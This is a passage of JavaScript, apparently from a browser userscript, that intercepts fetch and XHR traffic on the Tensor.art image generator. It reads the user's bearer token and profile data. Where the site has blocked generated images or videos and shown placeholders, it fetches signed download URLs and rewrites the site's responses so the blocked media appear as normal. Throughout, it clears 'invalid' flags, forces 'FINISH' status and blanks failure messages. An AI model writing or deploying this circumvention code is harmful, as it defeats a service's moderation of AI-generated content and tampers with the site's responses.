        // ignore
      }
      if (found != null) return found;
    }

    if (typeof headersLike === 'object') {
      for (const [key, value] of Object.entries(headersLike)) {
        if (String(key || '').toLowerCase() === 'authorization') return value;
      }
    }

    return null;
  }

  function extractTensorTokenFromRequest(input, init) {
    const direct = extractBearerTokenFromAuthValue(readAuthorizationHeaderValue(init?.headers));
    if (direct) return direct;

    try {
      const requestHeaders = input?.headers;
      const requestToken = extractBearerTokenFromAuthValue(readAuthorizationHeaderValue(requestHeaders));
      if (requestToken) return requestToken;
    } catch {
      // ignore
    }

    return null;
  }

  function extractTensorTokenFromXhrHeaders(headersMap) {
    if (!headersMap || typeof headersMap !== 'object') return null;
    for (const [key, value] of Object.entries(headersMap)) {
      if (String(key || '').toLowerCase() === 'authorization') {
        const token = extractBearerTokenFromAuthValue(value);
        if (token) return token;
      }
    }
    return null;
  }

  async function resolveTensorCaptureToken(tokenHint = null) {
    const hinted = tokenHint ? String(tokenHint).trim() : '';
    if (hinted) {
      userToken = hinted;
      if (!currentPreviewUserToken) currentPreviewUserToken = hinted;
      return hinted;
    }
    const existing = userToken ? String(userToken).trim() : '';
    if (existing) return existing;
    return await getToken().catch(() => null);
  }

  function getInterceptedRequestUrl(input) {
    try {
      if (typeof input === 'string') return input;
      if (input instanceof URL) return input.toString();
      if (input?.url) return String(input.url);
    } catch {
      // ignore
    }
    return '';
  }

  async function processTensorObservedResponse(fetchUrl, responseLike, tokenHint = null) {
    if (!fetchUrl || !responseLike) return;
    const isUserProfileEndpoint = fetchUrl.includes('/user-web/v1/user/profile/detail');
    const isVipInfoEndpoint = fetchUrl.includes('/vip/v1/user/vip-info');
    if (!isUserProfileEndpoint && !isVipInfoEndpoint) return;

    try {
      const clonedResponse = typeof responseLike.clone === 'function' ? responseLike.clone() : responseLike;
      let body = null;

      if (typeof clonedResponse.json === 'function') {
        body = await clonedResponse.json();
      } else if (typeof clonedResponse.responseText === 'string') {
        body = JSON.parse(clonedResponse.responseText || '{}');
      } else if (typeof clonedResponse.response === 'string') {
        body = JSON.parse(clonedResponse.response || '{}');
      } else if (clonedResponse.response && typeof clonedResponse.response === 'object') {
        body = clonedResponse.response;
      }

      if (!body || typeof body !== 'object') return;
      const token = await resolveTensorCaptureToken(tokenHint);
      if (!token) return;

      if (isUserProfileEndpoint && body.data?.info) {
        currentUserProfile = body.data;
        cacheObservedTensorProfile(token, { profile: body.data, lastProfileUrl: fetchUrl });
        saveUserProfile(token, body.data, currentUserVipInfo);
        finalizeTensorAccountDetection(token, 'profile-detail-capture', { toast: true });
        if (domInjectDebug) console.log('[UserProfile] Captured user profile from site request:', body.data.info.nickname, { tokenSource: tokenHint ? 'request' : 'fallback' });
      }

      if (isVipInfoEndpoint && body.data) {
        currentUserVipInfo = body.data;
        cacheObservedTensorProfile(token, { vipInfo: body.data, lastVipUrl: fetchUrl });
        saveUserProfile(token, currentUserProfile, body.data);
        finalizeTensorAccountDetection(token, 'vip-info-capture', { toast: true });
        if (domInjectDebug) console.log('[UserProfile] Captured VIP info from site request:', body.data.isVip, { tokenSource: tokenHint ? 'request' : 'fallback' });
      }
    } catch (e) {
      console.warn('[UserProfile] Failed to process observed Tensor response', { fetchUrl, error: e });
    }
  }

  async function processTensorObservedTaskResponse(fetchUrl, responseLike) {
    if (!fetchUrl || !responseLike) return;

    const isQueryEndpoint = fetchUrl.endsWith('/works/v1/works/tasks/query');
    const isTemplateTasksEndpoint = fetchUrl.includes('/works/v1/works/tasks?');
    const isWorkflowEditorEndpoint = fetchUrl.includes('/workflow/editor/');
    const isTaskCreateEndpoint = fetchUrl.includes('/workflow/template/task/create');
    const isMgetTaskEndpoint = fetchUrl.includes('/works/v1/works/mget_task');

    if (!isQueryEndpoint && !isTemplateTasksEndpoint && !isWorkflowEditorEndpoint && !isTaskCreateEndpoint && !isMgetTaskEndpoint) {
      return;
    }

    try {
      // For XHR mget_task, the XHR response may already have been patched in-place (bypass URLs
      // replacing forbidden.jpg). The raw body is saved to __freeBypassTensorRawBody before patching.
      // Use it so we cache the original forbidden-item data, not the bypass-patched data.
      let body = null;
      if (isMgetTaskEndpoint && responseLike?.__freeBypassTensorRawBody) {
        try {
          body = JSON.parse(responseLike.__freeBypassTensorRawBody);
        } catch { /* fall through */ }
      }

      if (!body) {
        const clonedResponse = typeof responseLike.clone === 'function' ? responseLike.clone() : responseLike;

        if (typeof clonedResponse.json === 'function') {
          body = await clonedResponse.json();
        } else if (typeof clonedResponse.responseText === 'string') {
          body = JSON.parse(clonedResponse.responseText || '{}');
        } else if (typeof clonedResponse.response === 'string') {
          body = JSON.parse(clonedResponse.response || '{}');
        } else if (clonedResponse.response && typeof clonedResponse.response === 'object') {
          body = clonedResponse.response;
        }
      }

      if (!body || typeof body !== 'object') return;

      if (isTaskCreateEndpoint && settings.autoTaskDetection) {
        if (body.data?.workflowTemplateTask?.id) {
          const taskId = body.data.workflowTemplateTask.id;
          pendingTasks.set(taskId, {
            startTime: Date.now(),
            status: 'WAITING',
            templateId: body.data.workflowTemplateTask.workflowTemplateId
          });
          if (domInjectDebug) console.log(`[TaskMonitor] Created task ${taskId} from site request`);
        }
      }

      if (isMgetTaskEndpoint && settings.autoTaskDetection) {
        lastMgetTaskSeenAt = Date.now();
        await handleMgetTaskBody(body, 'mget_task');
      }

      if (isQueryEndpoint || isTemplateTasksEndpoint || isWorkflowEditorEndpoint) {
        if (domInjectDebug) {
          const label = isQueryEndpoint ? '/query' : (isTemplateTasksEndpoint ? '/tasks' : '/workflow/editor');
          console.log(`[TaskMonitor] Intercepted ${label} from site request:`, body);
        }
        if (isQueryEndpoint) {
          warmTensorTasksQueryResponseBody(body, 'observed-task-response');
        }
        // Store workflowTemplateInfo for community sharing
        if (Array.isArray(body?.data?.tasks)) {
          body.data.tasks.forEach((task) => {
            const tplInfo = task?.workflowTemplateInfo;
            const tplId = tplInfo?.workflowTemplateId;
            if (tplId && tplInfo.name && !templateInfoCache.has(tplId)) {
              templateInfoCache.set(tplId, { workflowTemplateId: tplId, name: tplInfo.name });
            }
          });
        }
        const sourceLabel = isQueryEndpoint ? 'Query' : (isTemplateTasksEndpoint ? 'Template' : 'Workflow');
        handleTasksResponse(body, sourceLabel);
      }
    } catch (e) {
      console.warn('[TaskMonitor] Failed to process observed Tensor task response', { fetchUrl, error: e });
    }
  }

  function isTensorDownloadEndpoint(url) {
    const value = String(url || '');
    return /\/works\/v1\/generation\/(?:image|video)\/download(?:\?|$)/i.test(value);
  }

  function getTensorDownloadEndpointKind(url) {
    const value = String(url || '');
    if (/\/generation\/video\/download(?:\?|$)/i.test(value)) return 'video';
    if (/\/generation\/image\/download(?:\?|$)/i.test(value)) return 'image';
    return '';
  }

  function parseTensorDownloadRequestIds(body) {
    if (body == null) return [];

    const normalizeIds = (value) => {
      if (!Array.isArray(value)) return [];
      return Array.from(new Set(value.map((entry) => String(entry || '').trim()).filter(Boolean)));
    };

    if (typeof body === 'string') {
      const text = body.trim();
      if (!text) return [];
      try {
        return parseTensorDownloadRequestIds(JSON.parse(text));
      } catch {
        try {
          return parseTensorDownloadRequestIds(new URLSearchParams(text));
        } catch {
          return [];
        }
      }
    }

    if (body instanceof FormData) {
      return normalizeIds(body.getAll('ids').flatMap((entry) => Array.isArray(entry) ? entry : [entry]));
    }

    if (typeof URLSearchParams !== 'undefined' && body instanceof URLSearchParams) {
      return normalizeIds(body.getAll('ids'));
    }

    if (typeof body === 'object') {
      return normalizeIds(body.ids || body.imageIds || body.mediaIds || body?.data?.ids || []);
    }

    return [];
  }

  function extractTensorDownloadResponseEntries(body, endpointKind = '') {
    const root = body?.data || body?.data?.data || {};
    const out = [];

    const pushEntry = (entry, fallbackKind = '') => {
      const id = String(entry?.id || entry?.imageId || entry?.mediaId || '').trim();
      const url = String(entry?.url || entry?.downloadUrl || '').trim();
      if (!id || !url) return;
      const mimeType = String(entry?.mimeType || '').trim();
      const kind = fallbackKind || getMediaKindFromMime(mimeType) || endpointKind || '';
      out.push({
        id,
        url,
        filename: String(entry?.filename || entry?.downloadFileName || entry?.fileName || '').trim(),
        mimeType,
        kind
      });
    };

    if (Array.isArray(root.images)) root.images.forEach((entry) => pushEntry(entry, 'image'));
    if (Array.isArray(root.videos)) root.videos.forEach((entry) => pushEntry(entry, 'video'));
    if (Array.isArray(root.items)) root.items.forEach((entry) => pushEntry(entry, ''));
    if (Array.isArray(root.medias)) root.medias.forEach((entry) => pushEntry(entry, ''));

    const seen = new Set();
    return out.filter((entry) => {
      const key = `${entry.id}|${entry.url}`;
      if (seen.has(key)) return false;
      seen.add(key);
      return true;
    });
  }

  function findTensorTaskForImageId(imageId) {
    const normalizedId = String(imageId || '').trim();
    if (!normalizedId) return null;

    const itemMeta = itemMap.get(normalizedId) || itemMap.get(Number(normalizedId));
    const directTaskId = itemMeta?.taskId || itemMeta?.routeId || '';
    if (directTaskId) {
      const directTask = resolveTaskData(directTaskId);
      if (directTask) return directTask?.raw || directTask;
    }

    for (const taskData of taskMap.values()) {
      const candidateTask = taskData?.raw || taskData;
      if (findTensorTaskItemInTaskLike(candidateTask, normalizedId)) return candidateTask;
    }

    try {
      const taskCache = JSON.parse(localStorage.getItem(TASK_CACHE_KEY) || '{}') || {};
      for (const cachedTask of Object.values(taskCache)) {
        if (findTensorTaskItemInTaskLike(cachedTask, normalizedId)) return cachedTask;
      }
    } catch {
      // ignore
    }

    return null;
  }

  function persistObservedTensorDownloadEntry(entry, source = 'tensor-download-observed') {
    const imageId = String(entry?.id || '').trim();
    const downloadUrl = String(entry?.url || '').trim();
    if (!imageId || !isUsableBypassMediaUrl(downloadUrl, { minRemainingMs: SIGNED_URL_EXPIRY_SAFETY_MS })) return false;

    const meta = itemMap.get(imageId) || itemMap.get(Number(imageId)) || {};
    const task = findTensorTaskForImageId(imageId);
    const taskItem = findTensorTaskItemInTaskLike(task, imageId) || null;
    const mimeType = entry?.mimeType || taskItem?.mimeType || meta?.mimeType || (entry?.kind === 'video' ? 'video/mp4' : 'image/png');
    const forceKind = entry?.kind || getMediaKindFromMime(mimeType) || '';
    const fileName = String(entry?.filename || taskItem?.downloadFileName || meta?.downloadFileName || '').trim();
    let changed = false;

    setCachedDownloadUrl(imageId, downloadUrl, mimeType, forceKind);

    const nextMeta = {
      ...meta,
      imageId,
      id: imageId,
      mimeType,
      url: downloadUrl,
      bypassedUrl: downloadUrl,
      source: meta?.source || 'tensor.art'
    };
    if (fileName) {
      nextMeta.downloadFileName = fileName;
      nextMeta.fileName = fileName;
    }
    if (!Object.is(meta?.url, downloadUrl) || !Object.is(meta?.bypassedUrl, downloadUrl) || (fileName && !Object.is(meta?.downloadFileName, fileName))) {
      changed = true;
    }
    itemMap.set(imageId, nextMeta);

    itemsData = (Array.isArray(itemsData) ? itemsData : []).map((item) => {
      if (String(item?.id || item?.imageId || '') !== imageId) return item;
      changed = true;
      return {
        ...item,
        mimeType: item?.mimeType || mimeType,
        url: downloadUrl,
        bypassedUrl: downloadUrl,
        downloadFileName: fileName || item?.downloadFileName || null,
        fileName: fileName || item?.fileName || null
      };
    });

    if (task) {
      if (persistTensorTaskCacheItemUrl(task, {
        ...(taskItem || {}),
        imageId,
        mimeType,
        downloadFileName: fileName,
        fileName
      }, downloadUrl)) {
        changed = true;
      }
    }

    if (changed) {
      freeInternetConsoleLog('Tensor', 'info', 'Updated cached bypass URL from observed download response', {
        source,
        imageId,
        kind: forceKind || null,
        taskId: task?.taskId || task?.routeId || meta?.taskId || null
      });
    }
    return changed;
  }

  async function processTensorObservedDownloadEndpoint(fetchUrl, requestBody, responseLike, source = 'tensor-download-observed') {
    if (!fetchUrl || !responseLike || !isTensorDownloadEndpoint(fetchUrl)) return;

    try {
      const clonedResponse = typeof responseLike.clone === 'function' ? responseLike.clone() : responseLike;
      let body = null;

      if (typeof clonedResponse.json === 'function') {
        body = await clonedResponse.json();
      } else if (typeof clonedResponse.responseText === 'string') {
        body = JSON.parse(clonedResponse.responseText || '{}');
      } else if (typeof clonedResponse.response === 'string') {
        body = JSON.parse(clonedResponse.response || '{}');
      } else if (clonedResponse.response && typeof clonedResponse.response === 'object') {
        body = clonedResponse.response;
      }

      if (!body || typeof body !== 'object') return;

      const endpointKind = getTensorDownloadEndpointKind(fetchUrl);
      let entries = extractTensorDownloadResponseEntries(body, endpointKind);
      const requestedIds = parseTensorDownloadRequestIds(requestBody);
      if (!entries.length) {
        const singleUrl = extractDownloadUrlFromApiResponse(body, endpointKind);
        if (singleUrl && requestedIds.length === 1) {
          entries = [{ id: requestedIds[0], url: singleUrl, filename: '', mimeType: '', kind: endpointKind }];
        }
      }

      if (!entries.length) return;

      let updated = 0;
      entries.forEach((entry) => {
        if (persistObservedTensorDownloadEntry(entry, source)) updated += 1;
      });

      if (updated > 0) {
        tensorInterceptLog('success', 'Observed Tensor download endpoint refreshed cached media URL(s)', {
          source,
          url: fetchUrl,
          endpointKind: endpointKind || null,
          requestedIds: requestedIds.slice(0, 20),
          updated
        });
      }
    } catch (error) {
      tensorInterceptLog('error', 'Failed to process observed Tensor download endpoint response', {
        source,
        url: fetchUrl,
        error: String(error?.message || error)
      });
    }
  }

  function isTensorTasksQueryEndpoint(url) {
    const value = String(url || '');
    return /\/works\/v1\/works\/tasks\/query(?:\?|$)/i.test(value);
  }

  // Template detail endpoint: GET /workflow/v1/workflow/template/detail?id={id}
  function isTemplateDetailEndpoint(url) {
    return /\/workflow\/v1\/workflow\/template\/detail\b/i.test(String(url || ''));
  }

  // Template page tasks endpoint: GET /works/v1/works/tasks?workflowTemplateId=...
  function isTensorTemplateTasksEndpoint(url) {
    const value = String(url || '');
    return /\/works\/v1\/works\/tasks\?/i.test(value) && /[?&]workflowTemplateId=/i.test(value);
  }

  // True for any endpoint whose response body we should patch with bypass URLs
  function isTensorPatchableTasksEndpoint(url) {
    return isTensorTasksQueryEndpoint(url) || isTensorTemplateTasksEndpoint(url);
  }

  // mget_task endpoint — returns tasks object keyed by taskId (different from the tasks array endpoints)
  function isMgetTaskEndpoint(url) {
    return /\/works\/v1\/works\/mget_task(?:[?#]|$)/i.test(String(url || ''));
  }

  function rewriteTensorTasksQueryPayloadSize(payload) {
    if (!payload || typeof payload !== 'object') return { changed: false, payload };
    const next = { ...payload };
    let changed = false;
    const forceValue = (key, value) => {
      if (next[key] === undefined) return;
      if (Number(next[key]) !== value) {
        next[key] = value;
        changed = true;
      }
    };
    if (Number(next.size) !== 10) {
      next.size = 10;
      changed = true;
    }
    forceValue('limit', 10);
    forceValue('pageSize', 10);
    return { changed, payload: next };
  }

  function rewriteTensorTasksQueryRequestBody(body) {
    if (body == null) return { changed: false, body };

    if (typeof body === 'string') {
      try {
        const parsed = JSON.parse(body);
        const { changed, payload } = rewriteTensorTasksQueryPayloadSize(parsed);
        return { changed, body: changed ? JSON.stringify(payload) : body };
      } catch {
        return { changed: false, body };
      }
    }

    if (body instanceof FormData) {
      let changed = false;
      const current = body.get('size');
      if (String(current || '') !== '10') {
        body.set('size', '10');
        changed = true;
      }
      if (body.has('limit') && String(body.get('limit') || '') !== '10') {
        body.set('limit', '10');
        changed = true;
      }
      if (body.has('pageSize') && String(body.get('pageSize') || '') !== '10') {
        body.set('pageSize', '10');
        changed = true;
      }
      return { changed, body };
    }

    if (typeof URLSearchParams !== 'undefined' && body instanceof URLSearchParams) {
      let changed = false;
      if (body.get('size') !== '10') {
        body.set('size', '10');
        changed = true;
      }
      if (body.has('limit') && body.get('limit') !== '10') {
        body.set('limit', '10');
        changed = true;
      }
      if (body.has('pageSize') && body.get('pageSize') !== '10') {
        body.set('pageSize', '10');
        changed = true;
      }
      return { changed, body };
    }

    if (typeof body === 'object') {
      const { changed, payload } = rewriteTensorTasksQueryPayloadSize(body);
      return { changed, body: payload };
    }

    return { changed: false, body };
  }

  function getCachedBypassUrlForInvalidItem(item, options = {}) {
    if (!item) return null;
    const imageId = item.imageId || item.id;
    if (!imageId) return null;
    const mimeType = item.mimeType || '';
    const minRemainingMs = Math.max(0, Number(options?.minRemainingMs) || SIGNED_URL_INTERCEPT_REFRESH_BUFFER_MS);
    const candidates = [
      getFreshCachedDownloadUrlForIntercept(imageId, mimeType, '', minRemainingMs),
      getFreshCachedDownloadUrlForIntercept(imageId, mimeType, 'video', minRemainingMs),
      getFreshCachedDownloadUrlForIntercept(imageId, mimeType, 'image', minRemainingMs)
    ];
    const meta = itemMap.get(String(imageId)) || itemMap.get(imageId) || {};
    candidates.push(
      item?.bypassedUrl,
      item?.downloadUrl,
      item?.mediaUrl,
      item?.resourceUrl,
      meta.bypassedUrl,
      meta.downloadUrl,
      meta.mediaUrl,
      meta.resourceUrl,
      meta.url
    );
    for (const candidate of candidates) {
      if (isUsableBypassMediaUrl(candidate, { minRemainingMs })) return candidate;
    }
    return null;
  }

  function ensureFreeInternetPrefix(name) {
    const base = String(name || '').trim();
    if (!base) return 'FREEInterent-media';
    return base.startsWith('FREEInterent-') ? base : `FREEInterent-${base}`;
  }

  function summarizeTensorTasksQueryPayload(payload) {
    if (payload == null) return null;
    try {
      if (typeof payload === 'string') {
        const text = payload.trim();
        if (!text) return null;
        return summarizeTensorTasksQueryPayload(JSON.parse(text));
      }
    } catch {
      return { raw: String(payload).slice(0, 400) };
    }

    if (payload instanceof FormData) {
      const data = {};
      payload.forEach((value, key) => {
        data[key] = typeof value === 'string' ? value : '[binary]';
      });
      return summarizeTensorTasksQueryPayload(data);
    }

    if (typeof URLSearchParams !== 'undefined' && payload instanceof URLSearchParams) {
      return summarizeTensorTasksQueryPayload(Object.fromEntries(payload.entries()));
    }

    if (payload && typeof payload === 'object') {
      const pick = ['page', 'size', 'limit', 'pageSize', 'sort', 'order', 'status', 'workspaceType', 'workflowTemplateId', 'routeId'];
      const summary = {};
      pick.forEach((key) => {
        if (payload[key] !== undefined) summary[key] = payload[key];
      });
      return Object.keys(summary).length ? summary : JSON.parse(JSON.stringify(payload));
    }

    return { raw: String(payload).slice(0, 400) };
  }

  function applyTensorBypassUrlToItem(item, bypassUrl) {
    const nextItem = { ...item };
    const changedKeys = [];
    const candidateKeys = ['url', 'downloadUrl', 'mediaUrl', 'resourceUrl', 'originUrl'];
    candidateKeys.forEach((key) => {
      const current = nextItem[key];
      const shouldReplace = !current || isBlockedPlaceholderUrl(current);
      if (shouldReplace && nextItem[key] !== bypassUrl) {
        nextItem[key] = bypassUrl;
        changedKeys.push(key);
      }
    });
    if (!changedKeys.length && nextItem.url !== bypassUrl) {
      nextItem.url = bypassUrl;
      changedKeys.push('url');
    }
    return { nextItem, changedKeys };
  }

  function normalizeTensorTaskForFrontend(task, stats = null) {
    if (!task || typeof task !== 'object') return { changed: false, task };

    let changed = false;
    const nextTask = { ...task };
    const mark = (key, value, statKey = null) => {
      if (!Object.is(nextTask[key], value)) {
        nextTask[key] = value;
        changed = true;
        if (stats && statKey) stats[statKey] = (Number(stats[statKey]) || 0) + 1;
      }
    };

    if (String(nextTask.status || '').toUpperCase() === 'FINISH') {
      if (typeof nextTask.failMessage === 'string' && nextTask.failMessage) {
        mark('failMessage', '', 'taskStateNormalized');
      }
      if (typeof nextTask.failCode === 'string' && String(nextTask.failCode || '').toUpperCase() !== 'DEFAULT') {
        mark('failCode', 'DEFAULT', 'taskStateNormalized');
      }
    }

    return { changed, task: changed ? nextTask : task };
  }

  function normalizeTensorItemForFrontend(item, cachedBypass, stats = null) {
    if (!item || typeof item !== 'object') return { changed: false, item };

    let changed = false;
    const nextItem = { ...item };
    const mark = (key, value, statKey = null) => {
      if (!Object.is(nextItem[key], value)) {
        nextItem[key] = value;
        changed = true;
        if (stats && statKey) stats[statKey] = (Number(stats[statKey]) || 0) + 1;
      }
    };

    if (cachedBypass) {
      // Mark that this item was originally blocked — consumers (items tab, cache)
      // can use this flag to identify it even after invalid/url have been cleared.
      if (!nextItem.blockedOnOrigin) {
        nextItem.blockedOnOrigin = true;
        changed = true;
      }

      const applied = applyTensorBypassUrlToItem(nextItem, cachedBypass);
      if (applied.changedKeys.length) {
        Object.assign(nextItem, applied.nextItem);
        changed = true;
        if (stats) stats.urlReplaced += 1;
      }

      ['processImageUrl', 'previewUrl', 'thumbnailUrl', 'coverUrl', 'posterUrl', 'src'].forEach((key) => {
        const current = nextItem[key];
        if (current === undefined) return;
        if (!current || isBlockedPlaceholderUrl(current)) {
          mark(key, cachedBypass, 'itemStateNormalized');
        }
      });
    }

    mark('invalid', false, 'invalidCleared');
    mark('status', 'FINISH', 'itemStateNormalized');
    mark('needConvertUrl', false, 'itemStateNormalized');

    if (Number(nextItem.processPercent) !== 100) {
      mark('processPercent', 100, 'itemStateNormalized');
    }
    if (Number(nextItem.processProgress) !== 100) {
      mark('processProgress', 100, 'itemStateNormalized');
    }
    if (typeof nextItem.feedbackType === 'string' && nextItem.feedbackType !== 'DEFAULT') {
      mark('feedbackType', 'DEFAULT', 'itemStateNormalized');
    }

    return { changed, item: changed ? nextItem : item };
  }

  function getTensorTaskCacheLookupKeys(task = null, taskId = null, routeId = null) {
    const keys = [];
    const add = (value) => {
      const next = String(value || '').trim();
      if (!next || keys.includes(next)) return;
      keys.push(next);
    };

    add(task?.taskId);
    add(task?.routeId);
    add(taskId);
    add(routeId);

    const expanded = [];
    keys.forEach((value) => {
      buildTaskLookupVariants(value).forEach((variant) => {
        if (!expanded.includes(variant)) expanded.push(variant);
      });
    });

    return expanded;
  }

  function findTensorTaskItemInTaskLike(taskLike, imageId) {
    if (!taskLike || !imageId || !Array.isArray(taskLike.items)) return null;
    return taskLike.items.find((entry) => String(entry?.imageId || entry?.id || '') === String(imageId)) || null;
  }

  function getCachedBypassUrlForTensorTaskItem(task, item, options = {}) {
    const minRemainingMs = Math.max(0, Number(options?.minRemainingMs) || SIGNED_URL_INTERCEPT_REFRESH_BUFFER_MS);
    const direct = getCachedBypassUrlForInvalidItem(item, { minRemainingMs });
    if (direct) return direct;

    const imageId = item?.imageId || item?.id;
    if (!imageId) return null;

    const taskKeys = getTensorTaskCacheLookupKeys(task, task?.taskId, task?.routeId);

    for (const key of taskKeys) {
      const cachedTask = taskMap.get(key);
      const cachedItem = findTensorTaskItemInTaskLike(cachedTask?.raw || cachedTask, imageId) || findTensorTaskItemInTaskLike(cachedTask, imageId);
      const hit = getCachedBypassUrlForInvalidItem(cachedItem, { minRemainingMs });
      if (hit) return hit;
    }

    try {
      const taskCache = JSON.parse(localStorage.getItem(TASK_CACHE_KEY) || '{}') || {};
      for (const key of taskKeys) {
        const cachedTask = taskCache[key];
        const cachedItem = findTensorTaskItemInTaskLike(cachedTask, imageId);
        const hit = getCachedBypassUrlForInvalidItem(cachedItem, { minRemainingMs });
        if (hit) return hit;
      }
    } catch {
      // ignore
    }

    return null;
  }

  function persistTensorTaskCacheItemUrl(task, item, bypassUrl) {
    const imageId = String(item?.imageId || item?.id || '');
    if (!imageId || !bypassUrl) return false;

    const mimeType = item?.mimeType || '';
    const forceKind = getMediaKindFromMime(mimeType) || '';
    const desiredDownloadFileName = String(item?.downloadFileName || item?.fileName || '').trim();
    let changed = false;

    setCachedDownloadUrl(imageId, bypassUrl, mimeType, forceKind);

    const mergeIntoItem = (target) => {
      if (!target || typeof target !== 'object') return false;
      const normalized = normalizeTensorItemForFrontend(target, bypassUrl, null);
      const nextTarget = normalized.changed ? normalized.item : target;
      let localChanged = false;
      Object.entries(nextTarget).forEach(([key, value]) => {
        if (!Object.is(target[key], value)) {
          target[key] = value;
          localChanged = true;
        }
      });
      if (!Object.is(target.bypassedUrl, bypassUrl)) {
        target.bypassedUrl = bypassUrl;
        localChanged = true;
      }
      if (desiredDownloadFileName) {
        if (!Object.is(target.downloadFileName, desiredDownloadFileName)) {
          target.downloadFileName = desiredDownloadFileName;
          localChanged = true;
        }
        if (typeof target.fileName === 'string' && !Object.is(target.fileName, desiredDownloadFileName)) {
          target.fileName = desiredDownloadFileName;
          localChanged = true;
        }
      }
      return localChanged;
    };

    const meta = itemMap.get(imageId) || itemMap.get(Number(imageId));
    if (meta && mergeIntoItem(meta)) {
      meta.bypassedUrl = bypassUrl;
      changed = true;
    }

    itemsData.forEach((entry) => {
      if (String(entry?.id || entry?.imageId || '') !== imageId) return;
      if (mergeIntoItem(entry)) changed = true;
    });

    const taskKeys = getTensorTaskCacheLookupKeys(task, task?.taskId, task?.routeId);
    taskMap.forEach((taskData) => {
      const candidateTask = taskData?.raw || taskData;
      const taskDataKeys = getTensorTaskCacheLookupKeys(candidateTask, taskData?.taskId, taskData?.routeId);
      const sameTask = taskKeys.some((key) => taskDataKeys.includes(key));
      if (!sameTask) return;

      if (Array.isArray(taskData.items)) {
        taskData.items.forEach((entry) => {
          if (String(entry?.imageId || entry?.id || '') === imageId && mergeIntoItem(entry)) changed = true;
        });
      }
      if (Array.isArray(candidateTask.items)) {
        candidateTask.items.forEach((entry) => {
          if (String(entry?.imageId || entry?.id || '') === imageId && mergeIntoItem(entry)) changed = true;
        });
      }
    });

    try {
      const taskCache = JSON.parse(localStorage.getItem(TASK_CACHE_KEY) || '{}') || {};
      let taskCacheChanged = false;
      Object.values(taskCache).forEach((cachedTask) => {
        const cachedTaskKeys = getTensorTaskCacheLookupKeys(cachedTask, cachedTask?.taskId, cachedTask?.routeId);
        const sameTask = taskKeys.some((key) => cachedTaskKeys.includes(key));
        if (!sameTask || !Array.isArray(cachedTask?.items)) return;
        cachedTask.items.forEach((entry) => {
          if (String(entry?.imageId || entry?.id || '') === imageId && mergeIntoItem(entry)) {
            taskCacheChanged = true;
          }
        });
      });
      if (taskCacheChanged) {
        localStorage.setItem(TASK_CACHE_KEY, JSON.stringify(taskCache));
        changed = true;
      }
    } catch {
      // ignore
    }

    try {
      let accountCacheChanged = false;
      Object.values(accountTasksCache || {}).forEach((taskBucket) => {
        if (!taskBucket || typeof taskBucket !== 'object') return;
        Object.values(taskBucket).forEach((cachedTask) => {
          const cachedTaskKeys = getTensorTaskCacheLookupKeys(cachedTask, cachedTask?.taskId, cachedTask?.routeId);
          const sameTask = taskKeys.some((key) => cachedTaskKeys.includes(key));
          if (!sameTask || !Array.isArray(cachedTask?.items)) return;
          cachedTask.items.forEach((entry) => {
            if (String(entry?.imageId || entry?.id || '') === imageId && mergeIntoItem(entry)) {
              accountCacheChanged = true;
            }
          });
        });
      });
      if (accountCacheChanged) {
        localStorage.setItem(USER_ACCOUNT_TASKS_KEY, JSON.stringify(accountTasksCache));
        changed = true;
      }
    } catch {
      // ignore
    }

    return changed;
  }

  async function resolveTensorBypassUrlForTaskItem(task, item, source = 'tensor-fetch') {
    const imageId = item?.imageId || item?.id;
    if (!imageId) return null;

    const cached = getCachedBypassUrlForTensorTaskItem(task, item, { minRemainingMs: SIGNED_URL_INTERCEPT_REFRESH_BUFFER_MS });
    if (cached) return cached;

    const mimeType = item?.mimeType || '';
    const forceKind = getMediaKindFromMime(mimeType) || '';
    const bypassUrl = await ensureDownloadUrl(imageId, mimeType, {
      ...(forceKind ? { forceKind } : {}),
      minExpiryMs: SIGNED_URL_INTERCEPT_REFRESH_BUFFER_MS,
      bypassCache: true
    });
    if (!bypassUrl || isBlockedPlaceholderUrl(bypassUrl)) return null;

    persistTensorTaskCacheItemUrl(task, item, bypassUrl);
    tensorInterceptLog('success', 'Resolved Tensor bypass URL from download endpoint', {
      source,
      taskId: task?.taskId || null,
      routeId: task?.routeId || null,
      imageId: String(imageId),
      mimeType: mimeType || null,
      urlPreview: `${String(bypassUrl).slice(0, 120)}${String(bypassUrl).length > 120 ? '…' : ''}`
    });
    return bypassUrl;
  }

  async function backfillTensorTasksQueryResponseBody(body, source = 'tensor-fetch') {
    if (!body || typeof body !== 'object' || !Array.isArray(body?.data?.tasks)) {
      return { changed: false, body, stats: null };
    }

    let changed = false;
    let resolvedItems = 0;
    let resolvedTasks = 0;

    const nextTasks = await Promise.all(body.data.tasks.map(async (task) => {
      if (!task || String(task.status || '').toUpperCase() !== 'FINISH' || !Array.isArray(task.items)) return task;
      // Skip tasks whose expireAt has already passed — no point fetching bypass URLs
      const taskExpireAt = Number(task.expireAt || 0);
      if (taskExpireAt > 0 && taskExpireAt * 1000 < Date.now()) return task;

      let taskChanged = false;
      let taskResolvedItems = 0;

      const nextItems = await Promise.all(task.items.map(async (item) => {
        const looksBlocked = item && (item.invalid === true || isBlockedPlaceholderUrl(item.url) || isBlockedPlaceholderUrl(item.downloadUrl));
        if (!looksBlocked) return item;

        const existingBypass = getCachedBypassUrlForTensorTaskItem(task, item);
        if (existingBypass) return item;

        const resolvedBypass = await resolveTensorBypassUrlForTaskItem(task, item, source).catch(() => null);
        if (!resolvedBypass) return item;

        const normalized = normalizeTensorItemForFrontend(item, resolvedBypass, null);
        const nextItem = normalized.changed ? normalized.item : { ...item, url: resolvedBypass, bypassedUrl: resolvedBypass };
        if (!Object.is(nextItem.bypassedUrl, resolvedBypass)) nextItem.bypassedUrl = resolvedBypass;

        taskChanged = true;
        taskResolvedItems += 1;
        resolvedItems += 1;
        return nextItem;
      }));

      if (!taskChanged) return task;
      changed = true;
      resolvedTasks += 1;
      return {
        ...task,
        items: nextItems
      };
    }));

    if (!changed) return { changed: false, body, stats: { resolvedItems: 0, resolvedTasks: 0 } };
    return {
      changed: true,
      body: {
        ...body,
        data: {
          ...body.data,
          tasks: nextTasks
        }
      },
      stats: { resolvedItems, resolvedTasks }
    };
  }

  async function patchTensorTasksQueryResponseBodyAsync(body, source = 'tensor-fetch') {
    const patched = patchTensorTasksQueryResponseBody(body);
    const backfilled = await backfillTensorTasksQueryResponseBody(patched.changed ? patched.body : body, source);

    if (!backfilled.changed) return patched;

    const stats = {
      ...(patched.stats || {}),
      resolvedItems: Number(backfilled.stats?.resolvedItems) || 0,
      resolvedTasks: Number(backfilled.stats?.resolvedTasks) || 0
    };

